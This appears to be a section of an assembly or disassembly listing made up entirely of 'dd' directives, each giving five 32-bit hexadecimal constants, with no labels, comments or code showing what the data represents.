dd 0BA4DACBh, 8D4B02BAh, 1FC65DA3h, 2300554Eh, 6B1936B9h
dd 0D9F73E45h, 0A5845A7Ah, 0C7A2201Eh, 0DFC582Eh, 80C5693Ah
dd 6B6A0C07h, 880B846h, 1A087D6Ch, 9945263Ah, 13FB4535h
dd 85C9A210h, 0F5F159E9h, 13D0F63Eh, 0C0A704A0h, 0C9828837h
dd 571088DCh, 92725925h, 2336EA0Ch, 0F0C90C2Ah, 0FCBA4ABCh
dd 0D6052D63h, 0F2E98693h, 301C389Dh, 0D7D75BDAh, 2F100008h
dd 5964BB79h, 68086AE8h, 0E90917A6h, 53EEC1C2h, 2E6583ECh
dd 27F3BCDh, 0D539A8E3h, 55608FE0h, 0CED2D9B5h, 0ECBAED2h
dd 2D95D11h, 0A26229CAh, 4BF3723Fh, 44EB8DECh, 7423C7B9h
dd 0EBBB074Ah, 813F23E0h, 5BAF03F3h, 0DE31CF37h, 5A1E2DA8h
dd 76228224h, 11F18B92h, 0C518B36Eh, 0EE407FE9h, 0CF20F6B8h
dd 7C094847h, 1DDAF715h, 0A54B78h, 0FBA05ECh, 81F4439Ah
dd 68ABA961h, 686D2B4Dh, 0B312684Ch, 0B594080Bh, 0A8B82116h
dd 20CEE703h, 0DFC30854h, 747FC7C0h, 132E1D5Ch, 0C6BC8A60h
dd 24EFDFA3h, 0FEC2D265h, 657D2962h, 325D4B77h, 22187701h
dd 4CD649E8h, 8CDA44ADh, 0E9E0E8F5h, 73BF699Dh, 8EC980FDh
dd 97423913h, 26B02F1h, 0B33026Eh, 4F9CCA04h, 5F4369EBh
dd 57E6B10h, 0E9656709h, 0F5EA7057h, 9189A0D9h, 6257F281h
dd 95765017h, 0BE883556h, 5F688580h, 528F331h, 6D6C35A9h
dd 8CEC8DAEh, 5BF8098Bh, 3D3209F5h, 2754842h, 0D78BFD3Dh
dd 705EE491h, 63DF6E33h, 0FBDD4DC9h, 21DC49A8h, 0ED804000h
dd 9DE5C0EEh, 0B70FD0F3h, 0CCE7C139h, 0E23AD7F6h, 2504202Eh
dd 2E79AC97h, 20B4D4BFh, 0C05BFD27h, 0B873F59Fh, 0CD594A20h
dd 7F637A53h, 0EB187D3Ch, 0D06249C1h, 7E0C465Bh, 0C304FB64h
dd 0FAAA26B0h, 21BF81FAh, 994F7CCFh, 0BB0048F8h, 3E3F732Dh
dd 5B5BF527h, 9FE99ED9h, 0B25EED2Ch, 596882FEh, 82DB5161h
dd 48B46AE1h, 4C39760h, 3652120h, 46DE4ABAh, 101EDDF7h
dd 4F972AB1h, 6650BEE8h, 4B9F7088h, 792EF8D3h, 7072F602h
dd 604652EBh, 0E40CA6C9h, 0B7E9133Ah, 0DE4CFC8Ah, 0EE5E3349h
dd 5868049Eh, 0C01B2C60h, 1664198Bh, 0C8010F1Fh, 6648B64Bh
dd 5D03090Ch, 27D71E7h, 62CF8732h, 6F9475B5h, 595F5105h
dd 0C1A013E9h, 9F449F29h, 0E2E5C7Ch, 46F7E08h, 12D0A6ADh
dd 0F24BB7BEh, 81E29F14h, 207287D9h, 16417CAAh, 0CDA7BF60h
dd 6E7702C5h, 466B73F8h, 173DD808h, 49C7F02h, 0CA8C1883h
dd 0F821137Eh, 0E27A2169h, 0C15C8021h, 723112E8h, 61D074C8h
dd 906808C2h, 0C5A37E06h, 0A89EE916h, 0AF5F2D15h, 20BB4B28h
dd 0B1EBD0Bh, 64316029h, 1D79FCD9h, 7E4AD8B0h, 0E129E8Ah
dd 6B76EACFh, 0C6817BFh, 93DFFD78h, 0AAA565E8h, 997A0DCDh
dd 0CF50A7A9h, 4DE0090Dh, 0D1D20DA1h, 0A11298E2h, 3F03C1A5h
dd 74E0DFFEh, 368031F0h, 5E08EFC5h, 3BA9FEC8h, 0AF4A1B4Fh
dd 6C14951Fh, 4008900Ch, 0B5B65921h, 78C579C9h, 5180E3F7h
dd 143E1CB9h, 0F9CE668h, 3C2EB8F8h, 954DEA4h, 2C56E5ADh
dd 4B7C2792h, 3CFFDCBCh, 8220C1D1h, 43029753h, 0E07DDAB7h
dd 735AEF3Eh, 4BC3A0C0h, 0E1B08612h, 0B72D7554h, 0A204C24Bh
dd 52BE4CE9h, 871BBE98h, 0C898D908h, 20698A25h, 439B3E11h
dd 506882D2h, 71235C02h, 0F86889DEh, 0F2987DB2h, 0E9830DC1h
dd 0D42E85CFh, 0C8419DFh, 5A7684F6h, 0C7EFC280h, 9DC4E2FDh
dd 1A274645h, 3CFA00DAh, 951CAE15h, 8E929209h, 2570B09h
dd 0D5B40599h, 0C77CA2EEh, 72022EF7h, 0D75E2CACh, 0A8EB3604h
dd 1CB8145Dh, 68F80416h, 0A8B31013h, 0E2F35A72h, 0BADE85A4h
dd 955A638Ch, 0B5D02268h, 2975E1EAh, 5E523196h, 6B6E887Ah
dd 446D2FA5h, 0CEEB0621h, 10D1575Fh, 0B00093C9h, 58C1881Eh
dd 0CFE04FB7h, 0A7208D98h, 0E5462AAh, 860FEFD6h, 7C1945ABh
dd 9FD9205Dh, 0A65F537Dh
dd 50902B9h, 59B17132h, 77293F57h, 7433B860h, 7859762Ah
dd 70CF9041h, 0CE0BC601h, 8F3F2439h, 0F4A3551Ch, 337C90BBh
dd 2E91F89Dh, 6854A90Ah, 3F3602E4h, 9BC22BFDh, 0F2809DF2h
dd 5652E952h, 3FCA02C1h, 8146D96Bh, 5E7AFAB6h, 0F07F0921h
dd 8FE036E3h, 0A2882560h, 9E69EC65h, 56298884h, 60325C13h
dd 18815552h, 2E06342Dh, 0CF087FC4h, 92CB3DCFh, 515C0547h
dd 0A5B5A49h, 61C3E95Ah, 5F6202Ah, 97230168h, 50FE2C4Dh
dd 7579B800h, 0D8F72EABh, 59560B25h, 1F562924h, 65E62D01h
dd 0D2711084h, 554C8854h, 19454055h, 336CB240h, 0D831C448h
dd 8C2C3E4h, 5593D3F7h, 2DC0D509h, 790A6E91h, 0B3E3D14Eh
dd 24A9F30Fh, 0DD85898Fh, 16671280h, 0AD275AEAh, 8E041319h
dd 0F0DE4422h, 2BBB0016h, 817F8C62h, 2D70B1CBh, 0EAC794Eh
dd 0BD05FC20h, 3D370C28h, 11A7A480h, 297E3B3Eh, 0FC04754Ch
dd 8179A122h, 7078B2E9h, 0EC0514Ah, 3F0D092Fh, 0C1E1A889h
dd 78483E47h, 4156BC4Fh, 7415F0F3h, 0E9D7E6C2h, 0CC366AB6h
dd 0D16812CFh, 0EBDA6113h, 60EB79A5h, 7A63D482h, 0F781184Bh
dd 85E90DD0h, 541D09BEh, 485B5F8Bh, 14219317h, 0BA4F7B0Bh
dd 0EF690F00h, 0C9FEE934h, 0A392A7BCh, 43B6EA97h, 0A6CD3F3Bh
dd 0D30E2B1Eh, 4FF3ECC5h, 637B0539h, 431ADD17h, 8F46EDD1h
dd 311F6749h, 92EB4EDEh, 29D561EBh, 0E940F446h, 0B98E820h
dd 5FF9315Ah, 13F49904h, 0EDED4C16h, 104C0110h, 314C2959h
dd 0EBB7475Bh, 2D8DE278h, 88CA8FDh, 0FF583E24h, 86E93130h
dd 30CB31AFh, 5380A21Fh, 0B0F3985Dh, 0F7FCFF8Ch, 33090D7h
dd 67CA185Ch, 0F5F9EF31h, 0AD242B59h, 0D4C1EB87h, 0DAF86D0Eh
dd 3410BFAAh, 79B5D9CBh, 7BA56FE5h, 560D06DCh, 93419250h
dd 9D4338F8h, 942DC453h, 0EAE91904h, 80E727BCh, 68676FA4h
dd 39ED8308h, 0D4818101h, 56445809h, 33228257h, 0FF3EFE78h
dd 18841AA0h, 0F5EC6C90h, 7476451Ch, 0ED6F0C30h, 894B17FAh
dd 7D3BC0EFh, 2A5A5051h, 20E930C8h, 535906D4h, 435B1C1Fh
dd 7203AE64h, 0E131548h, 2208EB6h, 0AFEF125Fh, 0C2AFE585h
dd 6EFD7B55h, 0F85B5AD7h, 5CE9E1E9h, 54F6D051h, 3E5B01ECh
dd 32B63C30h, 0E9120D06h, 6D51429Ch, 45943CF2h, 40A1F134h
dd 784E68F0h, 0AC2AA2A1h, 1668E1B0h, 0CAC0177Eh, 4EA9703h
dd 0E86210B2h, 0A160C4ACh, 0D8215A02h, 5027E552h, 3DE27B03h
dd 648B322Fh, 8A7782D7h, 0C6C67FA7h, 0B6CD097h, 0C02BBE82h
dd 76D505D7h, 0CA28DB91h, 0D330C22Ah, 45C951D6h, 0A5B4ACFBh
dd 58929F76h, 1CF3690h, 0F164733Bh, 0BF0C0519h, 0F74FFECAh
dd 0BC3110A4h, 99EE067Bh, 0C0C3840h, 140204Ch, 0E9F18923h
dd 0B073F870h, 8DB12578h, 0B7097D72h, 0FD34B252h, 55C6A40Fh
dd 29261C83h, 0A0A7ABCAh, 22808F5Ah, 4F2D989Fh, 10AFA6FEh
dd 0E9C64160h, 98B6236Fh, 5FEEE970h, 6CEDC9BEh, 6B51494Ch
dd 0C78D5E0Ah, 0D5C93FEDh, 132DC480h, 0E7F64125h, 0EF9898A3h
dd 430B1437h, 0AB09E94Fh, 0F8375ED3h, 64BDAC67h, 41F9F1A0h
dd 0E374F24h, 5D365677h, 31253AC6h, 64A149BDh, 0C06F2ACh
dd 5E33EEA5h, 307D5B55h, 9D404005h, 4BDA7729h, 6BDAE1C0h
dd 0EBD20DF3h, 0D8689944h, 283EC9AFh, 0C6599FD7h, 3D7F5B6Dh
dd 9EC860D2h, 2858F1A6h, 40D0840Dh, 0D7F81D1Ch, 874F8251h
dd 0FA117840h, 7840D197h, 9ABF0388h, 7CE2C3Bh, 0A8872DE9h
dd 0E2683821h, 10062640h, 0D009161h, 785F5298h, 0A09DF031h
dd 68CE878Ch, 0D7D9956Bh, 5E1B18A4h, 50B8B2F5h, 32B138FCh
dd 9570EB58h, 7A57AE49h, 5FCB21B2h, 0A4DC1ED7h, 5F892081h
dd 2F403AA2h, 0F8970449h, 0C1184ED7h, 0C04AB548h, 70D466E8h
dd 5F31213h, 0D2C400ECh, 626802A3h, 405FA957h, 39805950h
dd 0E9A6F0C1h, 0E0B60FE5h, 0FE2CCE21h, 0D40AAFC6h, 201603AAh
dd 2E3E5AF1h, 28717601h, 0BF6865B5h, 73F739h, 0C7FEECEFh
dd 0E936B050h, 96D69529h, 0F6E208h, 6CA3C981h, 0C117349Eh
dd 130905E1h, 60FC9AC2h, 81B5BF05h, 0E398D151h, 0D1764BE2h
dd 98462693h, 4A5A0B8Bh, 0BA39C451h, 3842EA7h, 685902B7h
dd 73965F12h, 0DBE943C2h, 93AAFDEFh, 48C00B4Fh, 802A169h
dd 515B27D9h, 0F7585976h, 4F68E6F1h, 9E00E8D0h, 8BFDCEFh
dd 0F42F3F54h, 0ED630721h, 0B684236h, 73096A5Fh, 5B1AA54Fh
dd 5300A9D4h, 270A6855h, 5D0E3B47h, 9EB9A2CAh, 110342EEh
dd 0E8022C2Ah, 3016A7CEh, 0C9781209h, 364B7328h, 0B71141AFh
dd 20C253DCh, 0B81791B2h, 5EA3714h, 37E56BC5h, 0B9C382CFh
dd 0A1352E52h, 0AAE0D5Ch, 83F26881h, 3C70FEF3h, 5A03E676h
dd 51E8E7Ah, 78A48F4Eh, 2071C9ABh, 6400759Eh, 8FBD7124h
dd 978EDB9Bh, 78E9F102h, 5E1341F6h, 0AC4BFCFCh, 0B3969F5Ch
dd 0B0C051C3h, 12E18008h, 0B1C1FE42h, 643EE9A4h, 3C4B3318h
dd 688003E9h, 3F6057ACh, 8222E927h, 0FF78041Ah, 0BF890DC5h
dd 636A5D4Ch, 980EEF42h, 3051C2C1h, 7EB8785Fh, 9F2ECD0Bh
dd 42225733h, 2104C5EEh, 0B22327AAh, 6CD7C115h, 56F4F4D6h
dd 0A958B0D4h, 68C20859h, 9BDC663Bh, 0F77BF071h, 3E231218h
dd 3778ADB2h, 0D610C973h, 0B4381B16h, 66E20EBDh, 45123F58h
dd 2B5E6B49h, 3FD2F00Eh, 2112D601h, 0AB7E21E3h, 32823E64h
dd 556DC0EBh, 0B340973Dh, 26B142D8h, 0EC58522Fh, 6469BDEDh
dd 27FD6958h, 0EB50E953h, 0A144756Dh, 4B7E7509h, 7DF0012h
dd 172881Ch, 60E2719Fh, 0F129712Dh, 0F8014B0Ah, 0E90B0705h
dd 7CB2A95Bh, 3503BFF6h, 17E643D3h, 3D71CBF9h, 215EC4C7h
dd 0E9A598FAh, 0E660B42Dh, 5A0BF239h, 6107928Eh, 107A2C56h
dd 80D1ECF4h, 0D68A8F59h, 802A48Bh, 58133D52h, 1D5DCDF8h
dd 555CC689h, 0ABB5A4C6h, 0DBA19835h, 218F1F86h, 3F7ACCF9h
dd 0BE1FC6D3h, 100B159h, 64BA52CEh, 410D0467h, 0BEEA29E9h
dd 0F85BA79Bh, 2E8AD4C7h, 0D16A435Ah, 8C232103h, 47840414h
dd 0C882A8E9h, 5F40B4EDh, 9832F264h, 20915AF5h, 7BEF68BAh
dd 4C2DA692h, 0BFE2F17Fh, 6103BD16h, 3E33BC9h, 0F50888B8h
dd 654FE268h, 0F8D24148h, 74638142h, 59205152h, 0C953137Ch
dd 6002BE3Dh, 0A032E943h, 30160D8Bh, 0A9D4EF07h, 2CC8017Ch
dd 0E2DC1D05h, 418E200Ah, 0EAE0ADCEh, 0DDBBFBE5h, 9627127Dh
dd 9C32CD61h, 10E8E23Bh, 88076A47h, 445B66FCh, 0D1A984E6h
dd 0C052F6A3h, 68255AF0h, 600EDE76h, 710CBDB0h, 0B3B25200h
dd 802DB450h, 0C05D24ECh, 210C308Dh, 584EE228h, 23E900B1h
dd 0FEFE002Ah, 0B1E9DD88h, 0C479E89Fh, 44D28322h, 8132AEABh
dd 286AAE55h, 7E9617Bh, 0A19178E8h, 0ED383FE2h, 0C37B4CDEh
dd 0FC04F529h, 312529A3h, 40F0A8F0h, 0AB05550h, 5BEC840h
dd 3A15661Fh, 6C220429h, 0C5490ED2h, 3122CAC7h, 6C305558h
dd 30804F9Bh, 0DED1E4CAh, 4780D208h, 76DC880Bh, 6B0A785h
dd 5AA5C649h, 7A3C55A1h, 490E0D01h, 2A5C292Ch, 478139A2h
dd 7830E920h, 0DCA35BC8h, 844A2D58h, 0B02CEFDAh, 0D2A4BE5Dh
dd 0F92034CEh, 0BF660EBDh, 3187C140h, 0B027BFAh, 0FF096208h
dd 3B4E5402h, 7A46D409h, 8D3B7984h, 0F71570A6h, 0D60BD76Ah
dd 43E408h, 3AA1E181h, 0F1EC38B1h, 0FE536F0Fh, 0B3C1817Ch
dd 5E38E23h, 8D7D2618h, 0EDC182A0h, 0BF641455h, 0AB04BF32h
dd 0A101C053h, 2F023606h
dd 0C9F961BBh, 59E177D0h, 0EB36F29h, 1FBC47C4h, 61781AEFh
dd 676B5082h, 0F291A20Dh, 5969CB7Eh, 0F33E444h, 147A69E9h
dd 6696A160h, 3748452Dh, 0BB03F720h, 5F43589Ch, 81AC0009h
dd 0A71403F2h, 0EC14215h, 457941A8h, 3F22F140h, 0E0F94A65h
dd 56484E1Ah, 4E3E2F97h, 0A2C279Bh, 763AF876h, 8459203Ch
dd 91E6E9D7h, 6084EFF3h, 0D8CCEEA8h, 3CB70753h, 30FDE780h
dd 0DFF601C7h, 8A300898h, 0B6B81E52h, 0FE3026BFh, 3C71147h
dd 66E0B551h, 0FAA8FB52h, 96C3DDF5h, 0C5CB0A2h, 1EB7644Ch
dd 31FD30B2h, 2431D40h, 1E16FD5Dh, 9BAC4E20h, 0EE8E8805h
dd 504A2F3Bh, 225F2505h, 44203150h, 305A02D3h, 0C9FE5BF9h
dd 2E2DC3E1h, 64B866C2h, 2648ECD6h, 84DC6715h, 0BE34441Fh
dd 94DFFBD1h, 3021BA00h, 0DA9F6AFAh, 7EB048Fh, 0FC192C28h
dd 53411069h, 0E290522Ch, 0BE00C52Ch, 5CDFCFB7h, 53013DBCh
dd 103B820h, 42421F5h, 845BA908h, 92C85DE8h, 50E44318h
dd 7131F7Ah, 49EF17A9h, 308E0312h, 5A607B61h, 33A4B643h
dd 5A9ECE8h, 31281026h, 33B904DFh, 5147F5A4h, 13955E8h
dd 0E3C191B4h, 0DE798FE5h, 423F582Eh, 0BA04B1DAh, 291292BFh
dd 6F8EC6E1h, 0BB87C152h, 40A6450Fh, 0C5FD154h, 7CAE7413h
dd 99676BD1h, 526FB501h, 2850ED63h, 0C490509Ah, 28AA8DD6h
dd 6C401BA8h, 98EFB84Bh, 87545EA8h, 55010A8Bh, 0EAFDA060h
dd 0CFA13105h, 1699208h, 0FB019D95h, 6380006Eh, 40C2F8EBh
dd 8B62E65Bh, 37B0818h, 103EE13Fh, 4026406Ah, 6240B7A4h
dd 11FE400Ah, 0D529CB66h, 8CAD3108h, 3B7A320h, 3110F6DAh
dd 4008735Fh, 24D40166h, 88AD8B01h, 0C6F3D28h, 4451E9FBh
dd 777010C4h, 6213204h, 66084A50h, 0A1CF792Fh, 20EC5B20h
dd 69313379h, 5A46083Ah, 8731905h, 0C3E18C7Ch, 0F1F0081Bh
dd 0BDA8388Ch, 1FB6E08h, 208C2D4Ch, 9C0868CBh, 5610D41h
dd 0C2008BFh, 30A8B154h, 0C3087362h, 0F3F10255h, 3C9D0803h
dd 95C03328h, 7F20C1C6h, 7E492008h, 52AC6B54h, 5D0888E3h
dd 7067086Eh, 405BA70Ch, 9E366DDh, 0FC201889h, 788A3186h
dd 164CE10h, 120114F6h, 0BA088C96h, 404F185Fh, 0E5626F64h
dd 0E6D6810h, 7508FF68h, 0F9203A2Fh, 8AED331h, 188A174Dh
dd 98C46C8Ch, 399D18BFh, 10206382h, 31B9C618h, 92D915Ah
dd 831D0888h, 2671DE18h, 0A4E80B2h, 9238DC80h, 79234014h
dd 0AC20606Fh, 0C63608EFh, 875B8C1h, 0E1D09120h, 0CA53D851h
dd 3DB9088Ch, 32636040h, 18A5C508h, 8706918h, 0EF814DE5h
dd 1AFA988h, 31B87115h, 11286978h, 0C90C1088h, 8FA6B0Ch
dd 0ADD9C627h, 9934108Eh, 0C4468967h, 2008E82Ah, 0A933E483h
dd 3378F967h, 9BE95010h, 774AB910h, 8C68C224h, 0E308985Bh
dd 0B6A09E54h, 790A10CCh, 5A59C452h, 24560944h, 60918B48h
dd 0C3036245h, 800C2918h, 92189F08h, 0CE4E40B0h, 40474A40h
dd 0C0638CACh, 18407208h, 8424118h, 79814BAEh, 8D36598Ch
dd 5A40EC10h, 7BF0A80Fh, 6EA8358h, 69A7702h, 0F120C949h
dd 6C442065h, 209DBA20h, 83148B9h, 6BC910BEh, 5118CA03h
dd 2F18B588h, 9E08C6F5h, 817D1877h, 0E13B08CCh, 26009A4Bh
dd 9A7456C1h, 38483950h, 0CE8114BCh, 0EEE5D051h, 490FAD03h
dd 0D3FC9C60h, 815FA420h, 4A2C31EFh, 0E3C78B26h, 9D474491h
dd 33F3B10h, 13EB0275h, 0B90E1B89h, 50003DA7h, 408F4401h
dd 17C90B49h, 1C8BF775h, 0DE057A1Fh, 0C8B9F003h, 0C07833F3h
dd 4FB10F0Ch, 9DAC2C30h, 0B32D2014h, 0E3A4C0CBh, 2E913DEh
dd 6E23B432h, 56490717h, 650B3AB8h, 5D84121Eh, 1677FB54h
dd 0D55B869Fh, 57509518h, 283EEF70h, 86EC13F8h, 45C9B0DCh
dd 0DA30704Ch, 66094C9Ch, 0F7E8B51h, 817666F5h, 0BDBE1C16h
dd 0C9211C68h, 0E454794Eh, 0B20AE0B8h, 1C4BB7C7h, 0C75AD728h
dd 61885BFAh, 0C366B3E9h, 0A2F0897Ah, 2E8F2F51h, 69844AF7h
dd 38A8E3FFh, 0A7CA4BFEh, 0AD6CB77Eh, 0E386E91Ah, 64CFFF28h
dd 0B2462FB1h, 2F838D3Ah, 41E110F0h, 0F1843B4Dh, 903928FEh
dd 16FFA366h, 505203A7h, 67F4B866h, 3E9EC1D9h, 471E8730h
dd 51350EC8h, 0B382E8B9h, 0F05E3175h, 0C7FC5A0Ah, 581F4EA0h
dd 1F48C101h, 0BCF62773h, 800BF003h, 5DB4E16Dh, 0C9F4A853h
dd 0F06B4BECh, 8A9C7315h, 85F9F12Dh, 0E801308Fh, 0D28781C5h
dd 74EB314Bh, 0BCFB4A7Eh, 0A1BEB090h, 12CE0B02h, 2F78EEC1h
dd 2D649B09h, 4796FF1Bh, 0B248610Ch, 9163A32h, 2926B1CBh
dd 8E2037Fh, 0D82C4FDDh, 0CA9D5BC3h, 0E9E7D7D4h, 21CC6884h
dd 0E1E03CADh, 7A0CFF7Bh, 16EE07E9h, 15D9AC5Dh, 224D4A68h
dd 90A7E90Bh, 1490A679h, 23B377Ch, 45E66E9Dh, 0A2785CEh
dd 61CE6675h, 5E951E6h, 59AD400Bh, 8300BB53h, 817A126Bh
dd 903DD7EBh, 0E8296825h, 18C2084h, 28EE2DACh, 0BF05BAE9h
dd 0EAF4763Ah, 814150C0h, 0F41B8EE1h, 0A102B76Fh, 63DC47B3h
dd 0B0F350E5h, 657E90Dh, 7A5179B9h, 0EC078820h, 6341EEA5h
dd 55520EF9h, 0BD0BE820h, 0C16BB948h, 0D48CE697h, 60053742h
dd 0B0058559h, 0C10681ECh, 52951D53h, 482BF4A8h, 0C9310C06h
dd 0F06A7AC0h, 31396E9h, 0D1A13849h, 2BD4D100h, 31433D0Fh
dd 8CADD15Fh, 0CEE73BB7h, 8B75B04Bh, 3F185F17h, 0C5280EA6h
dd 0EE9130Ch, 9FE1504Ah, 1F4F3210h, 0FE8AD121h, 4B92CE5Eh
dd 0EC4EF4E9h, 180E31ECh, 0F8F9575Ch, 5998016Fh, 4D2B9768h
dd 0A707BEFh, 0BF42E7E9h, 79A72559h, 5D62FE2h, 7C3BD049h
dd 0A16916BAh, 560BAF25h, 0D1370719h, 7CA006Fh, 952FC16Eh
dd 0C2812D5Eh, 0C02211D5h, 2D2F826Ah, 0B1D5F19Ah, 0B27F5847h
dd 92BC94B0h, 0CC0411A3h, 0AE2F715Dh, 8122294h, 0BE1C25AFh
dd 0DC52805Ch, 6591A23h, 571D14BCh, 7B1D9834h, 0A53FDD7Ch
dd 2C818DD7h, 0C6CFB27Bh, 0B0608EBh, 35F2E906h, 34D83B23h
dd 4AD00826h, 0D407B10Bh, 74246F83h, 0C19C9045h, 6CB03E2h
dd 0BDA0DF05h, 0BC6506F2h, 0CBE97F0Ah, 0FD94B114h, 0D92127F8h
dd 0DD101500h, 34208E45h, 0CB2F44C7h, 0CF4A6324h, 195BD80Ah
dd 0D6841D0Bh, 0CF80720Ch, 332C1AF1h, 0F8D9E919h, 0CE2BEE77h
dd 6061153Ah, 0F8A95FA0h, 50ECFA10h, 2D4050B1h, 42C35828h
dd 49B4F1B7h, 5CA03F88h, 546F402Ah, 0B25E4Eh, 6EE95381h
dd 0BA1281FAh, 4B433884h, 85EEF07Fh, 0F4A51402h, 45BD04E9h
dd 18680EE1h, 5909DA80h, 9F28E949h, 7590BA39h, 2111420h
dd 76DCF181h, 895F9E93h, 78D6C3h, 4F745D05h, 0C252017Dh
dd 3472D997h, 0B4FFB900h, 0F5403725h, 5DE82582h, 80C1455Dh
dd 5906B768h, 29B05E67h, 0FEEE0860h, 88FF98A6h, 99D99E9h
dd 0B21C7534h, 0B7FB6120h, 2A7D9FE0h, 26E2015Fh, 0E77A805Fh
dd 958C645h, 0BA1D0514h, 0D5B8F639h, 4DE96461h, 2FFF33C7h
dd 507CF5Eh, 0BAFFCDE9h, 1041775h, 0BB002074h, 64ED2406h
dd 0FEDBF726h, 8590260Bh, 71EB01CDh, 96995262h, 0BA242934h
dd 9020CC1Ch, 9E6220C5h, 78CA6807h, 0ADA27BDAh, 0A701C54Dh
dd 2D1593DBh, 22871A58h, 0DAC35D50h, 637C70C0h, 0D525147Dh
dd 699BFC30h, 12BD4DD5h, 0FE7041E5h, 0D1D486CCh, 3608ACCAh
dd 5E53790Bh, 0F31D390Dh, 2861675Ah, 0AE84EBDFh, 9F4111A2h
dd 0AA43842Fh, 9056709Ch, 6DBB02B9h, 0FE871A97h, 0A93C075h
dd 0F7015F17h, 79A992EFh
dd 2A414170h, 31019385h, 2E112330h, 0D01369F8h, 34028148h
dd 29976051h, 0EE4C3249h, 0D9955C07h, 97BAD164h, 92B94056h
dd 2904D176h, 3BCCE9C8h, 56F31EFh, 0CBCA5095h, 0EE3D25C5h
dd 7E559C11h, 4AC25838h, 68A53CAFh, 0E9B90E62h, 952958D1h
dd 87305466h, 0F480145Ah, 4AC4F0DAh, 11573103h, 0E1119223h
dd 5B1C7B98h, 96F8E295h, 0AA15650Ah, 86A58DADh, 77966141h
dd 0CA00A372h, 481ACC72h, 7500940Dh, 0E92D1811h, 90EEE75Dh
dd 1049096Bh, 66FE3B9Ch, 6EDE08A0h, 0A535B640h, 98E9501Ah
dd 0EBC3C43Dh, 501AB36h, 0E2C4D24h, 7B34D5D0h, 0BCC55F22h
dd 38761067h, 0FE12BB5Ch, 0D2E7F80Dh, 43346EAh, 477618DAh
dd 0C62E432h, 58C95E20h, 8004E7D0h, 0CAE998C7h, 4B31F693h
dd 3B3FB184h, 24E97A8Ch, 0AFC9DE03h, 0ECC04078h, 90AE3C6h
dd 0F2F1F30Dh, 0B1161A30h, 0E120013h, 0CE81312Fh, 114E9D0Ch
dd 13653432h, 0ECCCC0B1h, 0F52D00F0h, 5408B1Fh, 7B61051Ch
dd 84F8014Dh, 0E90803B5h, 9CDC0C51h, 0B99A89EEh, 43FC45B5h
dd 0EE8467DEh, 347B04A3h, 0EE541E8Fh, 0AF93F281h, 9E59E92Ah
dd 0FD2A46DFh, 831AF181h, 0E0EBBF30h, 0F0AA9441h, 4B4136A4h
dd 50C1A244h, 87620B5Bh, 0B930CED0h, 6584C329h, 9E757632h
dd 2096645Ah, 43F3F116h, 86F991CDh, 1C00420h, 0B55CD725h
dd 0BE027609h, 60F728BAh, 0C482C518h, 0EEF86465h, 9BC4E84Ah
dd 30FE8A0h, 69D5F795h, 25755E37h, 5C448E71h, 983B27CDh
dd 1603EDD6h, 102680Fh, 81C42D5h, 39CD5A38h, 4E5CCB5Eh
dd 3413F98Bh, 1699B384h, 0DD43C5DAh, 95741790h, 0C2BA5CEBh
dd 250F42B5h, 73FA4BE1h, 15995864h, 78605DF1h, 2D9802Ch
dd 9D8C4C52h, 93891165h, 8D819045h, 1C722C5Ch, 0E1B703F8h
dd 0C8F0F871h, 0F6C05659h, 2DAD2A9Eh, 0BA061BEh, 0A78E39E9h
dd 7399F84Dh, 0C19CEA03h, 0B652220Ch, 0E9F3C061h, 6A42F534h
dd 17D5E3A3h, 0AA135EC4h, 267970F2h, 0AF502521h, 0AF7CB862h
dd 0E00C53EAh, 0FBAEBB3h, 4D6956B8h, 48DC419Dh, 3E217DF0h
dd 74E2EAE0h, 0DBB3B88h, 37E8F202h, 0E4DE0AB4h, 2139A18Eh
dd 2401E91Bh, 0C50ECA36h, 79DF5570h, 292471A0h, 1005ECFEh
dd 0CF815B08h, 1B946A39h, 513DBFFDh, 0C1E6B98h, 60311D7h
dd 0EA895F05h, 0C4E0D4E9h, 66C20FB3h, 20E9B050h, 81744C77h
dd 0E088AEA9h, 612CB7D9h, 0ED89281Ch, 0FD8F77B2h, 105DCA3Fh
dd 0E521891h, 74821A22h, 52C44DEh, 5D145B42h, 1B201Ah
dd 5FD93540h, 0C189D35Ah, 0A485585Ah, 90A1AA09h, 820D7203h
dd 81351E55h, 997AB3DCh, 0ADB63E3Ch, 41B32E61h, 6E7531F6h
dd 813AAC4h, 0DEEBB212h, 0B3B35F0Dh, 4909EF27h, 873B8EFEh
dd 0A81DED3Dh, 657E44D2h, 0EA290C68h, 2177F7Eh, 0B2E878FAh
dd 0BF2E7386h, 0E4F64425h, 9FA4FA11h, 0F5058880h, 382ED06Fh
dd 9392152h, 5736C7Fh, 0BC9806C2h, 0DA43D023h, 0E3288409h
dd 8BBA850Eh, 685034D4h, 214B54BDh, 19821CB8h, 0D1315242h
dd 2CAEBE1Ah, 0AC0B9E6Fh, 24EF226h, 55A56761h, 68DDCD68h
dd 9FFBFA2Fh, 9D64C851h, 2C2FE7B1h, 534B59C9h, 8586DBE7h
dd 14C60AFBh, 209AED1Fh, 5A3831EFh, 5EF4E659h, 0ECD87006h
dd 31B50151h, 0D06EB753h, 0B3F7F4EFh, 37FD202Eh, 27BA2113h
dd 11ED82DFh, 0C1D38701h, 43A2431h, 9414379Ch, 38B0AAFBh
dd 4AE20925h, 0ED8C06FBh, 0C401E86h, 4F072F68h, 504003DBh
dd 9D734168h, 47E8A566h, 0B8562100h, 6A884CB1h, 0EECC9729h
dd 0E9574806h, 0B738A9FFh, 3604A829h, 9B2D0034h, 0B7FDF90Bh
dd 0CD116A24h, 51E67FEFh, 2B9A995Fh, 0C7922353h, 28C66810h
dd 0A45B50FDh, 0B5EBEC2Eh, 0A86571F1h, 2C5B75D0h, 15D8E094h
dd 0D6270468h, 0FFBC3716h, 60CABB28h, 0C4B5600Fh, 6E16CD80h
dd 0B8FC9068h, 0FE01B2C0h, 0DA0BF6C2h, 0A992A9E9h, 0F2FAF88Ch
dd 0AC894A75h, 12D3B1DDh, 37BE982Ah, 0D55E10C9h, 598B3CCh
dd 74621A39h, 0C307654Fh, 0B3B5F529h, 0E44E39A8h, 3D6FF8Dh
dd 0F34F05F8h, 717F48C7h, 4E9A4B13h, 58145B0h, 0F459C3CDh
dd 80D88752h, 0D10A0D65h, 0E54BC1ECh, 35484C80h, 0E9590E40h
dd 251C7D78h, 0E9F93C76h, 0B4549FCDh, 0FF7BA671h, 0CB788C3Ah
dd 7997DAEAh, 687B7199h, 165358E5h, 0DA2C22F2h, 0E90244EDh
dd 0FB08D85Bh, 362D40BDh, 3F4F4546h, 7418FF8h, 0FEE14238h
dd 0CF6FA1D1h, 435A43Ah, 4008BE00h, 3B813EC2h, 0A9867EE6h
